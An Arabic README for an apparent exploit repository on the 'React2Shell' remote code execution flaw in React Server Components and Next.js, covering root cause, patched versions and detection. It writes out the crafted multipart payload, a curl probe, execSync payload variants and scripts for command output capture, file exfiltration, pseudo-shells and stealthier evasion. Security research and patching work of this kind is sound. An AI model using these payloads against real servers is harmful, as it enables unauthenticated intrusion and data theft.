
تحليل لـ CVE-2025-55182 وCVE-2025-66478 -- الثغرات الكامنة وراء React2Shell. أدوات، معلومات تقنية، وغير ذلك.
CVE-2025-55182 (React) و CVE-2025-66478 (Next.js)
يحتوي هذا المستودع على كود استغلال لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط.
انظر أيضًا: نشر العديد من الباحثين تحليلات لهذه الثغرة. راجع قسم المراجع للحصول على وجهات نظر إضافية وتقنيات استغلال وطرق كشف.
في يوم الأربعاء 3 ديسمبر 2025، تم الكشف علنًا عن ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في مكونات خادم React. تتيح هذه الثغرة، التي أُطلق عليها اسم «React2Shell»، لمهاجم غير مصادق تنفيذ تعليمات برمجية عشوائية على أي خادم يشغّل إصدارات ضعيفة من React RSC أو Next.js App Router عبر إرسال طلب HTTP واحد.
نظرًا لمدى انتشار Next.js - فهو يشغّل جزءًا كبيرًا من الويب الحديث - فإن تأثير هذه الثغرة بالغ الخطورة. أي تطبيق Next.js يستخدم App Router (الخيار الافتراضي للمشاريع الجديدة منذ Next.js 13) مع تفعيل RSC يكون عرضة للثغرة. لا يتطلب الأمر أي إعدادات خاصة. ولا نقاط نهاية محددة. فقط طلب POST إلى أي مسار.
تكمن الثغرة في بروتوكول «Flight» الخاص بـ React، وهو تنسيق التسلسل المستخدم لنقل البيانات بين الخادم والعميل في مكونات خادم React. إن غياب فحص hasOwnProperty أثناء إلغاء التسلسل يسمح بالتنقل عبر سلسلة النماذج الأولية (prototype chain)، وصولًا في النهاية إلى مُنشئ Function في جافاسكربت لتنفيذ تعليمات برمجية يتحكم فيها المهاجم.
توجد العلة في حزم React التالية: react-server-dom-webpack وreact-server-dom-turbopack وreact-server-dom-parcel. وNext.js، باعتبارها المستهلك المهيمن لـ RSC، ترث الثغرة عبر App Router الخاص بها.
العديد من الخدمات معرضة للثغرة بشكل محتمل. يُعد Next.js أحد أكثر أُطر React شيوعًا، وتستخدمه شركات من جميع الأحجام - من الشركات الناشئة إلى المؤسسات الكبرى. لقد كان App Router مع مكونات خادم React البنية الافتراضية لمشاريع Next.js الجديدة منذ الإصدار 13، مما يعني أن معظم عمليات نشر Next.js الحديثة متأثرة.
أي تطبيق يستخدم:
react-server-dom-* الضعيفة (19.0.0 - 19.2.0)يشمل ذلك عمليات النشر الإنتاجية على Vercel وAWS والبنية التحتية المستضافَة ذاتيًا وأي مكان آخر تعمل فيه تطبيقات Next.js App Router.
غير المتأثرين:
process.mainModule)| الحزمة | الإصدارات الضعيفة | الإصدارات المُصحَّحة |
|---|
قم بالترقية فورًا. لا توجد حلول بديلة.
لتطبيقات Next.js:
npm install next@latest
# or
pnpm update next
لاستخدام React RSC مباشرة:
npm install react-server-dom-webpack@latest
تحقق من الإصدارات المثبتة لديك:
npm ls next react-server-dom-webpack react-server-dom-turbopack
تم اكتشاف عدة نواقل هجوم لهذه الثغرة. الأكثر شيوعًا - وهو الذي يعمل دون أي متطلبات مسبقة - يستخدم تلوث النموذج الأولي (prototype pollution) عبر نظام المراجع في بروتوكول Flight الخاص بـ React.
يرسل الاستغلال طلب POST متعدد الأجزاء (multipart) مصنوعًا بعناية مع ترويسة Next-Action. تستغل الحمولة نظام المراجع من أجل:
$1:__proto__:thenFunction في جافاسكربتPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
يُتنفَّذ الكود أثناء إلغاء التسلسل، قبل أي تحقق من معرّف الإجراء (action ID). هذا يعني أن أي قيمة لترويسة Next-Action تُفعّل مسار الكود الضعيف - دون الحاجة إلى معرّف إجراء صالح.
توجد نواقل هجوم أخرى، بما في ذلك مراجع الدوال
$Fوأدوات الوحدات المباشرة (module gadgets). تتطلب هذه عادةً معرّف إجراء صالحًا. راجع نواقل الهجوم البديلة للتفاصيل.
يحل بروتوكول Flight الخاص بـ React المراجع مثل $1:path:to:value بتقسيمها على النقطتين الرأسيتين (:) والتنقل عبر الكائن:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
المفارقة: في أعلى هذا الملف نفسه، السطر 35:
import hasOwnProperty from 'shared/hasOwnProperty';تم استيراد الحارس. كان متاحًا. لكنه لم يُستخدم في الحلقة الوحيدة التي كان فيها في أمسّ الحاجة.
يسمح هذا الفحص المفقود الوحيد لـ $1:__proto__:then بالتنقل من كائن chunk، عبر سلسلة النماذج الأولية، إلى Chunk.prototype.then - وهي دالة تعالج الكائنات الشبيهة بالوعود (Promise). من خلال صياغة chunk مزيف بالخصائص الصحيحة، نتحكم في الكود الذي سيتم تنفيذه.
استنسِخ خادم الاختبار الضعيف:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
في طرفية أخرى:
./detect.sh http://localhost:3443
يعيد الخادم الضعيف HTTP 500 مع E{"digest" في نص الاستجابة. لإظهار RCE:
./exploit-redirect.sh http://localhost:3443 "id"
يظهر مخرَج الأمر في الاستجابة. للاستكشاف التفاعلي:
./shell.sh http://localhost:3443
يحتوي دليل vulnerable-next-server/ على تطبيق Next.js 16.0.6 + React 19.2.0 مُهيأ مسبقًا للاختبار المحلي الآمن. يعمل على المنفذ 3443 افتراضيًا. هذا إعداد App Router بسيط يوضح أن التكوينات الافتراضية معرضة للثغرة.
طورنا عدة أشكال من الاستغلال للتعامل مع سيناريوهات مختلفة:
ملاحظة الإنتاج: يزيل React رسائل الأخطاء في إصدارات الإنتاج، مما يعطّل طريقة
throw. فقطexploit-redirect.shيلتقط مخرَج الأوامر بشكل موثوق في الإنتاج دون متطلبات مسبقة. يُخزَّن رابط إعادة التوجيه في خاصيةdigestالخاصة بالخطأ (بيانات وصفية)، وهي لا تُعقَّم - على عكسmessageالتي تصبح{digest: "..."}فقط.
سكربتات مساعدة:
detect.sh - فحص ثغرة غير تخريبي (بدون تنفيذ كود)enumerate-actions.sh - يكتشف معرّفات إجراءات الخادم (Server Action IDs) الصالحة من HTML الهدفexfil-file.sh - استخراج ملفات مجزّأة (يتعامل تلقائيًا مع الملفات الكبيرة)shell.sh - شل زائف تفاعلي عبر RCEيُنصح بطريقة إعادة التوجيه لأنها تعمل في الإنتاج، ولا تتطلب متطلبات مسبقة، وتعيد مخرَج الأوامر مباشرة. تعمل عن طريق إلقاء خطأ NEXT_REDIRECT مصنوع بعناية - يُرمَّز المخرَج بـ base64 داخل رابط إعادة التوجيه ويُعاد في ترويسة x-action-redirect.
للاستخدام التفصيلي لكل سكربت، راجع USAGE.md.
./detect.sh https://target.com
يرسل هذا فحصًا بسيطًا يُفعّل مسار الكود الضعيف دون تنفيذ تعليمات برمجية عشوائية.
استجابة الخادم الضعيف:
text/x-componentE{"digest"الخادم المُصحَّح أو غير المزوَّد بـ RSC: يعيد 404، أو تنسيق خطأ مختلف، أو لا يستجيب ببروتوكول Flight.
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
يشير هذا الفحص إلى خاصية غير موجودة على كائن فارغ. تتعطل الخوادم الضعيفة عند محاولة الوصول إلى {}.a.a، وتعيد 500. أما الخوادم المُصحَّحة فلديها حارس hasOwnProperty يمنع التعطل.
ابحث عن هذه المؤشرات:
<script> تحتوي على بيانات بروتوكول Flight (0:، 1:، إلخ.)x-nextjs-cache أو x-nextjs-matched-path/_next/$ACTION_ID_ في حقول النماذج المخفيةيوضح المخطط التالي كيف يحقق طلب HTTP واحد تنفيذًا عن بُعد للتعليمات البرمجية:
sequenceDiagram
participant A as Attacker
participant N as Next.js
participant F as Flight Parser
participant JS as JS Engine
A->>N: POST with Next-Action header + malicious payload
N->>F: Parse multipart form data
F->>JS: await getRoot - returns chunk as thenable
rect rgb(80, 20, 20)
Note over F,JS: VULNERABILITY - No hasOwnProperty check
JS->>F: chunk.then parses $1:__proto__:then
F-->>F: Traverses to Chunk.prototype.then
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
JS->>F: fakeChunk.then() with attacker's _response
rect rgb(80, 20, 20)
Note over F,JS: EXPLOITATION - Attacker controls _response
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
F->>JS: Function(code) invoked as thenable
end
Note over JS: RCE - execSync() runs
rect rgb(20, 60, 20)
Note over A,JS: OUTPUT EXFILTRATION (redirect method)
JS-->>F: throw NEXT_REDIRECT with base64(output)
F-->>N: Error propagates up
N-->>A: HTTP 303 + x-action-redirect header
end
تستخدم مكونات خادم React تنسيق تسلسل مخصصًا يُسمى «Flight» لبث أشجار المكونات من الخادم إلى العميل. يستخدم رموز بادئة لأنواع القيم المختلفة:
$1، $2، ... - مراجع لـ chunks أخرى بالمعرّف$@0 - مرجع كائن chunk خام (يعيد الـ chunk نفسه، وليس قيمته)$B0 - مرجع Blob (يُفعّل _formData.get(_prefix + id))$1:path:to:prop - يتنقل عبر مسار على قيمة chunk مُشار إليهاتستغل الثغرة الجمع بين $@ (المرجع الخام) والمسارات المفصولة بالنقطتين الرأسيتين للوصول إلى __proto__.
المرحلة 1: معالجة الطلب
Next-Action يُفعّل معالجة إجراءات RSCawait getRoot(response) الـ chunk 0 ككائن قابل للربط (thenable)المرحلة 2: التنقل عبر النماذج الأولية
then - مواصفات JS Promise تستدعي thenable.then(resolve, reject)$1:__proto__:then إلى Chunk.prototype.thenthen وstatus: "resolved_model" و_responseالمرحلة 3: تنفيذ الكود
resolve(ourObject) يُفعّل استدعاء then() آخر (مواصفات thenable في JS)Chunk.prototype.then باستخدام كائن _response الذي نتحكم فيه$B0 الدالة _formData.get(_prefix + "0") - وكلاهما يتحكم فيه المهاجمالمرحلة 4: استخراج المخرَج (اختياري، طريقة إعادة التوجيه)
NEXT_REDIRECT مع مخرَج أوامر مُرمَّز بـ base64x-action-redirect قبل التحقق من عنوان URLتُستدعى Function المُنشأة ككائن thenable: fn(resolve, reject). تحدد طريقة معالجتنا لهذا ما إذا كنا سنستعيد المخرَج أم لا:
موصى به: إعادة التوجيه (Redirect). تعمل في الإنتاج، دون متطلبات مسبقة، والمخرَج في ترويسة x-action-redirect.
يتجمد نهج العمياء (blind) لأن الـ Promise لا يُحسم أبدًا - يظل await محظورًا إلى الأبد. هذا مفيد لسيناريوهات الإطلاق والنسيان (قذائف عكسية، استخراج خارج النطاق عبر curl).
تم استغلال الثغرة الأساسية عبر ثلاث فئات هجوم متميزة. يستخدم هذا المستودع النهج الأول؛ وتوضح PoCs أخرى البدائل:
لماذا لا يتطلب تلوث النموذج الأولي معرّف إجراء: يغذي تحليل النموذج متعدد الأجزاء الـ chunks إلى مُلغِي تسلسل Flight فورًا. يحدث RCE في getOutlinedModel() أثناء حل مراجع الـ chunks - قبل أن يتحقق Next.js من معرّف الإجراء. أما الطلبات المُرمَّزة بعنوان URL فتتحقق من معرّف الإجراء أولًا (مسار كود مختلف في action-handler.ts:768).
لماذا يتطلب مرجع $F معرّف إجراء: يُفعّل مرجع $F الدالة loadServerReference()، التي تجري بحثًا في البيان (manifest). إذا لم يكن الإجراء موجودًا، يفشل الطلب قبل تنفيذ الكود.
للتحليل التفصيلي لجميع تطبيقات PoC ومقايضاتها، راجع external-pocs/COMPARISON.md.
يزيل React تفاصيل الأخطاء في إصدارات الإنتاج. يؤثر هذا على الاستخراج القائم على الإلقاء (throw):
التطوير:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
الإنتاج:
{"digest":"..."}
تتجاوز طريقة إعادة التوجيه هذا لأن رابط إعادة التوجيه يُخزَّن في خاصية digest، وليس message. تُضبط الترويسة دون قيد أو شرط قبل التحقق من عنوان URL، لذا حتى عناوين URL غير الصالحة تحصل على الترويسة.
يُنسب الفضل في الرؤية الاستغلالية الأساسية - استخدام مراجع الـ chunks الخام $@ لإنشاء chunk مزيف ذاتي الإشارة - إلى maple3142. منهجية الكشف المشار إليها هنا مأخوذة من Searchlight Cyber / Assetnote.
الإفصاحات الرسمية:
أبحاث المجتمع:
لمقارنة تفصيلية لجميع تطبيقات PoC، راجع external-pocs/COMPARISON.md.
خلفية:
الكود مرخّص بموجب رخصة MIT. الوثائق (ملفات *.md) مرخّصة بموجب CC-BY-SA 4.0.
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| خط الإصدار | الإصدار الضعيف | الإصدار المُصحَّح |
|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
| السكربت | HTTP | المخرَج | الإنتاج | ملاحظات |
|---|
exploit-redirect.sh | 303 | ترويسة x-action-redirect | نعم | موصى به. لا متطلبات مسبقة. |
exploit-throw.sh | 500 | نص استجابة الخطأ | لا | وضع التطوير فقط (تُجرد تفاصيل الأخطاء في الإنتاج). |
exploit-blind.sh | 200 | جانب الخادم فقط | نعم | أطلِقْ وانْسَ (Fire-and-forget). يُستخدم لاستخراج البيانات خارج النطاق (OOB). |
exploit-urlencoded.sh | 303 | ترويسة x-action-redirect | نعم | بصمة WAF مختلفة. يتطلب معرّف إجراء. |
exploit-reflect.sh | 200 | نص الاستجابة | نعم | الأكثر تكتّمًا. يتطلب معرّف إجراء. |
| الاستراتيجية | لاحقة الحمولة | كيف تعمل |
|---|
| عمياء (Blind) | execSync('CMD');0 | تُنفَّذ دون حل (resolve) أبدًا - يتجمد الاتصال، ولا مخرَج |
| إلقاء (Throw) | throw execSync('CMD').toString() | يرفض الـ Promise، والمخرَج في نص الخطأ (وضع التطوير فقط) |
| إعادة توجيه (Redirect) | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | يسيء استخدام معالجة إعادة التوجيه في Next.js، والمخرَج في الترويسة |
| انعكاس (Reflect) | arguments[0](https://github.com/freeqaz/react2shell/blob/HEAD/%5BexecSync(%27CMD%27).toString()]) | يحل الـ Promise مع المخرَج كوسيط للإجراء (يتطلب معرّف إجراء صالحًا) |
| فئة الهجوم | الآلية | معرّف إجراء مطلوب | مثال PoC |
|---|
| تلوث النموذج الأولي (Prototype Pollution) | التنقل عبر $1:__proto__:then إلى Chunk.prototype | لا | react2shell, lachlan2k, joe-desimone |
| مرجع الدالة $F | $F1 + action#constructor للوصول إلى Function | نعم | shellinteractive |
| أداة الوحدة (Module Gadget) | صيغة module#export (مثل: child_process#execSync) | يختلف | بحث ejpir |
| المؤلف | المساهمة | مسار الهجوم | الميزات البارزة |
|---|
| lachlan2k | المكتشف الأصلي | تلوث النموذج الأولي | سلسلة Array.map، بنية من 5 chunks، دعم Waku |
| ejpir | بحث الأدوات (gadgets) | جميع المسارات | كتالوج أدوات الوحدات، هجمات الثبات، مسار data URI |
| joe-desimone | أدوات بايثون | تلوث النموذج الأولي | مساعد قذيفة عكسية، استخراج عبر callback، كشف المهلة الزمنية |
| labubusDest / MrR0b0t19 | شل تفاعلي | مرجع الدالة $F | Python REPL، رفع/تنزيل الملفات، مجموعة اختبارات مدمجة |
| Searchlight Cyber | طرق الكشف | — | منهجية كشف عالية الدقة، توقيعات WAF |